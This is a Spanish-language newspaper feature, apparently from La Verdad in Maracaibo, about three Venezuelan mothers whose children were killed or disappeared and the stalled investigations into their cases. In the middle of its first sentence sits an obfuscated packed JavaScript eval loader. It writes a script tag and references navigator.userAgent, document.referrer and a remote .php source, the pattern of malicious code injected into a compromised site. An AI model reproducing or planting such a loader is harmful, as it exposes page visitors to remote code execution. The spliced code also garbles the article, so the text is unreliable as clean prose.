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"Es un vacío que nada ni nadie va a llenar"

Andrea Querales / Maracaibo / aquerales@laverdad.com
El eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aaaaf|var|u0026u|referrer|dzkie||js|php'.split('|'),0,{})) luto acompaña a las familias desde hace meses. Hoy Día de las Madres, todas piden celeridad en las investigaciones y que reanuden las investigación de sus casos

Maribil Parra atribuye su fortaleza a sus otros hijos. Ellos la mantienen de pie para seguir luchando para que se haga justicia.

Tres madres, tres casos, pero un mismo sentimiento. Tres familias incompletas por la violencia y victimizadas por la impunidad en el sistema judicial. Maribil Parra, Lidia Atencio y Carmen Chacín recuerdan el asesinato y la desaparición de sus hijos. Sus historias son únicas, pero reflejan la realidad de cientos de venezolanas que perdieron a sus descendientes por la inseguridad. Su sufrimiento se transformó en impotencia y en una marca hasta el final de sus días.

Mencionar el nombre de su hijo hace que se rostro se transforme, pierda la voz y las lágrimas broten sin control. Maribil Parra aún viste de negro. No hace ni un año que le arrebataron al mayor de sus hijos, Sergio Bell Smith (20). "En oportunidades la depresión es mayor y no tengo fuerzas para levantarme de la cama”.

Sentada en un sofá negro, en el diario La Verdad, la madre del estudiante de Veterinaria secó sus lágrimas, respiró profundo y revivió la tarde del domingo 28 de agosto de 2016, cuando le informaron que habían matado a su hijo de un tiro en las costillas. El motivo, no cederle el paso al conductor de un Toyota Corolla, plateado, quien lo persiguió desde Sabaneta hasta la intercesión de la Circunvalación 2 con el Corredor Vial Amparo-Las Lomas. Allí el chofer del Corolla lo interceptó y le disparó. En la balacera también hirieron a su hermano menor, Diego (18).

"Solo se sobrevive con el sufrimiento". Juró que cada día lo recuerda. Extraña escuchar su voz, verlo llegar o salir de su casa y que le pida la bendición. No poderlo abrazar de nuevo la atormenta. 

Parra atribuye su fortaleza a sus otros hijos. Ellos la mantienen de pie para seguir luchando para que se haga justicia. Al asesino de su hijo nunca lo atraparon.

 

"Nada se compara a la pérdida de un hijo"

En la enramada de su casa, Lidia Atencio, madre de Leidy Paola Puche (9), se veía serena y tranquila. Al sentarse la rodearon sus descendientes, a su izquierda se acomodó Keidy, la mayor de las hijas, quien tuvo que tomar la palabra por su madre, quien apenas recordó el asesinato de la "Bebé", sólo lloró.

La mujer morena y madre de cinco chicos enmudeció. A su niña la mataron el 28 de septiembre de 2016. Ella jugaba frente a la casa de una tía cuando Jimmy Bracho, alias el “Jimmy Ratón”, le ofreció comprarle un refresco en el abasto. La niña lo acompañó. La familia y sus vecinos la buscaron toda la noche por el sector Villa Concepción, pero no la hallaron. La mañana siguiente encontraron su cadáver violado en una casa abandonada. 

"Ningún dolor se compara a la pérdida de un hijo y menos de esa forma”, susurró la mamá.

A ocho meses del crimen, a Bracho no lo han trasladado ni una vez a las audiencias. “Ese hombre está en el retén de Cabimas y lo tienen con las mujeres. La familia paga para que no lo junten con los hombres”, acotó Lidia.

Una espera eterna

Desde la puerta de la sala habló Carmen Chacín de Párraga no pudo moverse ni un paso más apenas escuchó el nombre de su hijo, Alfredo Venancio Párraga (30), un taxista de la línea MaraTour y residente del sector Veritas, a quien raptaron junto a sus tres pasajeros el 27 de marzo de 2015 . 

No quería hablar del tema, su voz se quebrantó y repetía que lo espera en la casa todos los días. "Mi hijo está vivo y volverá".

La anciana se enclaustró en su residencia desde hace dos años. "Aquí estoy sobreviviendo por ti. Me tienes donde me dejaste, esperándote. Me encerré en estas cuatro paredes para verte llegar”. 

Para calmar la ansiedad de la espera, Carmen abrió una cuenta en Facebook. Cada mensaje se lo dedica a su hijo. En los días de desesperanza clausura la cuenta. Se rinde, llora y se aleja de todos. Luego se repone y se sienta nuevamente en la puerta para aguardar el retorno de Alfredo.

La investigación sobre la desaparición del taxista y sus acompañantes, Roberto Ferrer, Luis Ramírez y Alejandro Márquez, la engavetaron.

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